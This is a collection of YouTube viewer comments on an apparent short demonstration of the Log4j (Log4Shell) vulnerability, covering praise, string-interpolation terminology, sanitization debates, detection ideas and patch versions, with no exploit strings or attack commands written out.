It's my first week working in cyber security environment professionally. Trying to get a grasp on my organization's infrastructure while trying to help with the log4j vuln has been a real trial by fire lol. Always enjoy your content!
I understand. I just joined a new org as part of the infrastructure team. I still don't know all our systems, but I'm learning fast as I help to find and patch systems as needed/available.
I love how you actually demonstrate the vulnerability and not just talk about it, like what most others are doing. Keep it up mate, you've got my Subscribe!
The ${…} syntax is not part of Java - it’s solely a Log4j syntax. (If it were part of java there would have been no problem, as it would have been evaluated at compile-time, not run-time)
@@kpaxxapk6397 In theory, it's a fair point - it certainly would be possible to sanitize it. But 1) the documentation did not state this anywhere afaik and 2) no one is interested in having a logging framework where you have to sanitize everything. People just want to do "log.error("My error: {}", error)" and be done with it. I've used Log4j before some years ago, and never knew about that "Lookup" feature - and aparently i was not the only one. :) Imho, it was a very annoying feature, security flaw or not, as i don't want the text i log to sometimes be transformed into something else, just because it happens to contain "${" and "}"... And this undesirable feature was enabled by default...
@@kpaxxapk6397 Note: It would kind of be possible for Log4j to sanitize it itself... If they forced you to use it in a specific way... You CAN (but don't have to) use the logger as having a format string as first param, and then data-values for the rest of the params (similar to printf, etc)..: log.info("This is the format string. Data is {} and {}", data1, data2);
@@zaitarh This RCE was a feature, not a bug, I saw the code, it was done intentionally, I'm sure someone added this feature on purpose to use it for what the video showed us.
I can't believe that it is that simple. The first thing you learn is always to control the input that is given. That is why you wont just take the given SQL command and execute it. To think that log4j didn't sanitise their input ist just CRAZY. That's a one liner, my god...
Just started a new job, and moved my support area from networking to applications. Day 1 of the new gig and I was hearing it was an all-hands to deal with the "new vulnerability". Thankfully new enough that there was no headache for me to deal with, but oof, glad to see what they were up against!
good explination. told exactly what it is and how it works. yeah i know what im looking at already but for anyone else that has no idea, this is the video they should watch
Words cannot describe- how did this slip unnoticed? I cannot imagine writing code that would result in behavior like this, and yet it must surely be a trap even experienced developers might fall into.
@@maxwellmapako3820 This is like a classic example of unsanitized input. Idk how any experienced developer like those working with the Apache Foundation couldn't expect that.
Great. Now show the LDAP server configuration and how exactly it serves the java object payload. None of the videos seem to explain how that works. They either evade it or use marshalsec LDAP server also never explaining how it works.
It's quite a good video but I think you should have talken about the jndi/ldap breach that enable rce. Jndi/ldap basically doesn't allow to inject malicious code, but a breach form 2017 make it possible to inject and initialize a custom Java class the ldap server redirects to
Those ${variable} sequences aren't actually handled at the Java level, they're at the log4j level and they're called "lookups" if you want to find documentation or anything.
how did you manager to get a Java lookup accepted on the commandline? When i enter ${java:version} it is evaluated on the CLI leading to no value, leading to an java.lang.ArrayIndexOutOfBoundsException in the java program.
i am somewhat of a beginner programmer but i am so glad i'm able to understand so much words. back when i didnt know anything about programming, this entire video would make no sense to me at all but now, instead of simply not understanding what he says, i just... just fucking feel bored i mean like it's awesome vulneratbility which i could use to run rick astley video on somebodys PC or something, but i am not programming such stuff. . . i am simply not programming at all, the only experience i had was in unity
In short, Log4j is a Java library that is used for logging errors and other software activities. ... The exploit lets an attacker load arbitrary Java code on a server, allowing them to take control.
Hi Marc, great video. If I see it right, the outbound connections to e.g. a LDAP server is always unencrypted since JNDI does regular (unencrypted) lookups. That means that companies could look for unexpected outbound LDAP requests to servers on the internet right? Just curious. Would there be a way to make these outbound requests encrypted? Thank you!
I'm only there 1:00. And I can tell that knowing this is how it works, this is not a library I would use by any means. I don't want unintended random string parsing happening randomly in my code.
Nice demonstration, but the code is unreadable on a medium-sized smartphone like mine. Please consider zooming or increasing the font size before uploading.
I actually worked with programs that use log4j, and found it clunky and cumbersome to use with the programs I was delevoping. I didn't know it was so widespread. So is this bug like that xckd comic about Robert"); Drop Tables Students? Because it sounds like it.
More like xkcd 2347: Dependency. All modern infrastructure is built on a project someone thanklessly maintains in their free time :( And this vuln vas known as far back as BlackHat 2016.
@@demoniack81 it's been a while so I forgot the details, but whatever logging setup we had just did not work properly when we updated log4j, and a lot of the log messages had to be rewritten or changed just so the files would be generated and logged to. And my company had this overly complicated standard that log messages had to follow but didn't quite tell us how to make it display properly with log4j - when the older system was already doing so. So many bugs that were "this log is not displaying the error message properly", and I'd have to track down and fix it because there was some variable that needed updating.
This seems like a problem with the user of the library, not the library itself. You should be using `log.error("Hello: {}", username)` not `log.error("Hello: "+ username)`. This is analogous to SQL injection... You need to properly prepare you parameters.
Actually, I want to know how this was still a vulnerability in the first place. It should be pretty obvious that ${...} is a bad thing, especially combined with jndi. It just makes me wonder how they did not think of this before.
Exactly. If I knew about this feature of log4j (I dont do java), it would immediately raise concern. String templates (format strings, f strings, etc.) should NEVER be evaluated by the program itself.
So you're telling me that the Log4j vulnerability is roughly the same as there was with linux a while ago where if you put something like [{:}};} (don't remember the exact spelling) you can then enter a command that can be executed from an app or the other thing that happened to twitter where you could send a tweet that would retweet itself in your browser... Why is it always the same vulnerability that is found?
What coding tool are you using here? What do you reccomend for people learning code? It's very interesting watching everyones reaction and discovery of this vulnerability.
You are the man Marcus, one thing though, how can i emulate this into my environment, I tried your commands and getting Error: Could not find or load main class Main error.
The vulnerability has been around for approximately 9 months - check twitter… likely an intern raised at a standup at one of the fang companies and all of a sudden everything is on fire… also the term you’re looking for is string interpolation, which is a conman programming term ;)
Hello, i am just curious. I have a statement and would like to know if my logic is correct. The vulnerability is caused due to no input checking in the program, allowing unintentional interaction with the user? Is this a correct way to view this or am i way off base?
No, the issue IS the logger. This vulnerability does not exist if you simply print to stdout with the basic Java functions. No one expects a logging library to be WORSE at handling user input than a basic call to System.out.println(). I'm frankly astonished that *anyone* could have ever thought that allowing a JNDI lookup _in a freaking log message_ was a good idea, even just from a performance standpoint. How this got out into production will forever be a mistery to me.
@@demoniack81 The real problem is that we can't even count on professionals to be aware of the issues in the OWASP Top 10. Careless handling of user input is playing with fire. In log4j 2.17.0 careless handling of user input is still playing with fire. If you log using println careless handling of user input is still playing with fire. Log4j just happened to be the thing that enabled developers that play with fire to burn themselves this time around. It won't be the last.
@marcus Hutchins, I recently used your strategies from the pd64.exe video to dump some embedded dlls from a Trojan google chrome installer. Thanks for all the guidance!
You saying "just came out a few days ago" makes it sound like a fun new game just got released haha
Yeah lol, I just realized that 😂
🤣🤣🤣🤣🤣
Tbf for us security professionals this is basically like a new game was just released 😂
@@-bubby9633 🤣🤣🤣
😂😂
Great demonstration, Marcus!
U got 1 subscriber
hey john
@@anuzravatMore like 1.2million
It's my first week working in cyber security environment professionally. Trying to get a grasp on my organization's infrastructure while trying to help with the log4j vuln has been a real trial by fire lol. Always enjoy your content!
I understand. I just joined a new org as part of the infrastructure team. I still don't know all our systems, but I'm learning fast as I help to find and patch systems as needed/available.
Welcome to the industry and good luck!
@@complexedone Good Luck. We will get there eventually!
what have you been doing to help? what's your role? i'm looking to start in security soon!
Best way to learn quickly though. This is a blessing in disguise for you!
I love how you actually demonstrate the vulnerability and not just talk about it, like what most others are doing. Keep it up mate, you've got my Subscribe!
Yup, learnt more from this than the over engineered blogs I've been tracking!
not to mention how he only did it in ~3 mins, saves a lot of times for such a great explanation
Clicking various links for 30 minutes, trying to understand the issue, and you explain it in less than 4. Thank you!
With videos out there in 20+ mins and you here with less than 4 mins explaining it so clearly, I know which video to click from next time.
Thanks Marcus. I appreciate your ability to explain a vulnerability like this and demo it in a really understandable way.
I had problem understand this from days and you explained it under 4 mins. You're amazing Marcus 👏❤️
I work in IT and the last week or two has been absolutely mental thanks to this
First time understanding what this means. Thanks.
The ${…} syntax is not part of Java - it’s solely a Log4j syntax. (If it were part of java there would have been no problem, as it would have been evaluated at compile-time, not run-time)
@@kpaxxapk6397 the logger should sanitise the input the same way an ORM sanitises model insance lookups to avoid SQL injection.
@@kpaxxapk6397 In theory, it's a fair point - it certainly would be possible to sanitize it. But 1) the documentation did not state this anywhere afaik and 2) no one is interested in having a logging framework where you have to sanitize everything. People just want to do "log.error("My error: {}", error)" and be done with it.
I've used Log4j before some years ago, and never knew about that "Lookup" feature - and aparently i was not the only one. :) Imho, it was a very annoying feature, security flaw or not, as i don't want the text i log to sometimes be transformed into something else, just because it happens to contain "${" and "}"... And this undesirable feature was enabled by default...
@@kpaxxapk6397 Note: It would kind of be possible for Log4j to sanitize it itself... If they forced you to use it in a specific way... You CAN (but don't have to) use the logger as having a format string as first param, and then data-values for the rest of the params (similar to printf, etc)..: log.info("This is the format string. Data is {} and {}", data1, data2);
@@zaitarh This RCE was a feature, not a bug, I saw the code, it was done intentionally, I'm sure someone added this feature on purpose to use it for what the video showed us.
No idea why I always assume the ${...} syntax is Spel from the spring spell syntax but I'm not 100% sure if that's correct or not
Always cool to see a Marcus video out on a new vuln!
the variable thing in a string is called string interpolation my dude!
"versatile" is the key word for this vulnerability.
thanks for explaining! :)
Greetings from Indonesia, I really admire you, and you are great. I'm just a beginner who wants to learn like you from the bottom
This is one of the great demonstrations I have listened on RUclips. You are amazing!!
One of the best explanations with practical demo. Thank you ..
Very well explained. Good video Marcus!
Finally no bullshitting around. Straight to the point and understandable for every novice programmer
Thank You Marcus, simple but quiet clear to understand
This 4 minute video was more clear and valuable then the 30minute one i just watched on this rce
cough johnhammond cough
I can't believe that it is that simple. The first thing you learn is always to control the input that is given. That is why you wont just take the given SQL command and execute it. To think that log4j didn't sanitise their input ist just CRAZY. That's a one liner, my god...
This explanation is so cool! I’ve been hearing about the vulnerability but nobody took the time to explain it this way. Thank you! :)
Just started a new job, and moved my support area from networking to applications. Day 1 of the new gig and I was hearing it was an all-hands to deal with the "new vulnerability". Thankfully new enough that there was no headache for me to deal with, but oof, glad to see what they were up against!
Thanks for such layman explanation, I was able to grasp it..
good explination. told exactly what it is and how it works. yeah i know what im looking at already but for anyone else that has no idea, this is the video they should watch
Nice explanation, I believe showing how easy it is to do is the scary part more than anything since a lot of applications use log4j.
thanks for the explanation, going to make a documentary on this!
Purchased botted sub account, ratio
Great, a whole documentary nobody asked for.
Words cannot describe- how did this slip unnoticed? I cannot imagine writing code that would result in behavior like this, and yet it must surely be a trap even experienced developers might fall into.
I honestly believe that you cannot cater for what you don't expect 🤣
@@maxwellmapako3820 This is like a classic example of unsanitized input. Idk how any experienced developer like those working with the Apache Foundation couldn't expect that.
I was just thinking - this seems adjacent to our classic case of SQL injection. Crazy
Thanks for simplifying the vulnerability
Great video! plain, simple and without bias.
Wow, that is a pretty glaring vulnerability. Amazing it's only just been discovered.
thank you for this video marcus!!! alot of news on this and this has helped me out get a better understanding of how the vulnerability functions
Better than java brains log4j explanation,now i understand
Best summary yet
Great job at presenting the vulnerability!
'Drop bobby tables' for Java. Nice! Thank you for this.
just what am looking for....thx dude
Pretty much every security team in an organization is stuck on log4j meeting 😜 Wonderful explanation though of the exploit.
Fantastic demonstration!
Great. Now show the LDAP server configuration and how exactly it serves the java object payload. None of the videos seem to explain how that works. They either evade it or use marshalsec LDAP server also never explaining how it works.
Thanks Marcus! Sweet and clean explanation!
Subbed. That was an excellent explanation.
You made this very easy to understand. thanks!
Nice explanation ! Thank you :)
It's quite a good video but I think you should have talken about the jndi/ldap breach that enable rce. Jndi/ldap basically doesn't allow to inject malicious code, but a breach form 2017 make it possible to inject and initialize a custom Java class the ldap server redirects to
clean explanation marcus!
Simple. To the point. Thanks man
Its not a part of java as somebody mentioned before. The syntax is kind of string interpolation though.
Great explanation. And wow.
Concise and to the point, thanks!
great explanation and demo
Those ${variable} sequences aren't actually handled at the Java level, they're at the log4j level and they're called "lookups" if you want to find documentation or anything.
how did you manager to get a Java lookup accepted on the commandline? When i enter ${java:version} it is evaluated on the CLI leading to no value, leading to an java.lang.ArrayIndexOutOfBoundsException in the java program.
well, well
that's really interesting
thanks for uploading!
Thank god you didn’t title this “log4 in layman’s term”
Great demonstration , thank you !
Awesome video! Quick question: What is the symbol you have on line 11 of your code just after "logger.error(" but before "Hello..."
It says "s:" and is inserted by the ide to let you know what the parameter's called
parameter hinting
i am somewhat of a beginner programmer but i am so glad i'm able to understand so much words. back when i didnt know anything about programming, this entire video would make no sense to me at all
but now, instead of simply not understanding what he says, i just... just fucking feel bored
i mean like it's awesome vulneratbility which i could use to run rick astley video on somebodys PC or something, but i am not programming such stuff. . . i am simply not programming at all, the only experience i had was in unity
impactful explanation thanks
Right to the point. Thanks man.
When the calculator actually popped up, I laughed out loud.
nice demo, thanks!
In short, Log4j is a Java library that is used for logging errors and other software activities. ... The exploit lets an attacker load arbitrary Java code on a server, allowing them to take control.
I love your videos
Thank you for this!
Hi Marc, great video. If I see it right, the outbound connections to e.g. a LDAP server is always unencrypted since JNDI does regular (unencrypted) lookups. That means that companies could look for unexpected outbound LDAP requests to servers on the internet right? Just curious. Would there be a way to make these outbound requests encrypted? Thank you!
You just caught another Sub Bub, that was 🐸 toadly 🐸 understandable 😎, in just a couple of minutes.
Great video
thank you!
${variable} is EL expression for server scripting. Looks similar with string interpolation from c# : $"{yourVarHere}"
Thanks, really helpful.
I'm only there 1:00. And I can tell that knowing this is how it works, this is not a library I would use by any means. I don't want unintended random string parsing happening randomly in my code.
Everytime I look at these vulnerabilities I am always surprised by how seemingly simple they are. Computers are weird, man…
A C# Blazor platform is apparently a better option to avoid the log4 vulnerability...
Great great great video
This video is perfect
Nice demonstration, but the code is unreadable on a medium-sized smartphone like mine. Please consider zooming or increasing the font size before uploading.
This is terrifying.
I actually worked with programs that use log4j, and found it clunky and cumbersome to use with the programs I was delevoping. I didn't know it was so widespread.
So is this bug like that xckd comic about Robert"); Drop Tables Students? Because it sounds like it.
More like xkcd 2347: Dependency. All modern infrastructure is built on a project someone thanklessly maintains in their free time :( And this vuln vas known as far back as BlackHat 2016.
How dooes one find log4j "cumbersome"? It's literally one jar and one .properties / .xml config file and off you go.
@@demoniack81 it's been a while so I forgot the details, but whatever logging setup we had just did not work properly when we updated log4j, and a lot of the log messages had to be rewritten or changed just so the files would be generated and logged to. And my company had this overly complicated standard that log messages had to follow but didn't quite tell us how to make it display properly with log4j - when the older system was already doing so.
So many bugs that were "this log is not displaying the error message properly", and I'd have to track down and fix it because there was some variable that needed updating.
This seems like a problem with the user of the library, not the library itself. You should be using `log.error("Hello: {}", username)` not `log.error("Hello: "+ username)`.
This is analogous to SQL injection... You need to properly prepare you parameters.
Maybe I'm overlooking things but it seems so obvious. How did this vulnerability take years to discover?
thank you, very heplful
In regards to 0:46, this is called string interpolation :)
Actually, I want to know how this was still a vulnerability in the first place.
It should be pretty obvious that ${...} is a bad thing,
especially combined with jndi.
It just makes me wonder how they did not think of this before.
Exactly. If I knew about this feature of log4j (I dont do java), it would immediately raise concern. String templates (format strings, f strings, etc.) should NEVER be evaluated by the program itself.
So you're telling me that the Log4j vulnerability is roughly the same as there was with linux a while ago where if you put something like [{:}};} (don't remember the exact spelling) you can then enter a command that can be executed from an app or the other thing that happened to twitter where you could send a tweet that would retweet itself in your browser...
Why is it always the same vulnerability that is found?
What coding tool are you using here? What do you reccomend for people learning code?
It's very interesting watching everyones reaction and discovery of this vulnerability.
That’s IntelliJ ide
Loooove IntelliJ
if you learn with gedit and terminal you will be like Superman growing in Earth
might be good to also include a brief remediation/mitigation strategy so the story has some sort of closure. 2 cents.
You are the man Marcus, one thing though, how can i emulate this into my environment, I tried your commands and getting Error: Could not find or load main class Main error.
Great explanation.
I just didn't quite understand one thing. Is it necessary for the object you are loading to exist in the ldap server ?
Yes, but as the attacker can point the lookup to an ldap server they control, that's easy to arrange.
I believe the name you're looking for is "string interpolation".
Upgrading to 2.15/2.16 version of Log4J resolves this.
The vulnerability has been around for approximately 9 months - check twitter… likely an intern raised at a standup at one of the fang companies and all of a sudden everything is on fire… also the term you’re looking for is string interpolation, which is a conman programming term ;)
Thank you so much.
tks,
Marcus!
shit's so simple, I can't believe this hasn't been patched 10 years ago immediately
Hello, i am just curious.
I have a statement and would like to know if my logic is correct.
The vulnerability is caused due to no input checking in the program, allowing unintentional interaction with the user?
Is this a correct way to view this or am i way off base?
so basically its not the logger thats the issue, it's not sanitizing user input. thought this was learned from SQL injection
No, the issue IS the logger. This vulnerability does not exist if you simply print to stdout with the basic Java functions.
No one expects a logging library to be WORSE at handling user input than a basic call to System.out.println(). I'm frankly astonished that *anyone* could have ever thought that allowing a JNDI lookup _in a freaking log message_ was a good idea, even just from a performance standpoint. How this got out into production will forever be a mistery to me.
@@demoniack81 The real problem is that we can't even count on professionals to be aware of the issues in the OWASP Top 10. Careless handling of user input is playing with fire. In log4j 2.17.0 careless handling of user input is still playing with fire. If you log using println careless handling of user input is still playing with fire.
Log4j just happened to be the thing that enabled developers that play with fire to burn themselves this time around. It won't be the last.
0:47 this is called „string interpolation“ and it‘s not a java-thing only
@marcus Hutchins, I recently used your strategies from the pd64.exe video to dump some embedded dlls from a Trojan google chrome installer. Thanks for all the guidance!
“String Interpolation” or “interpolated string”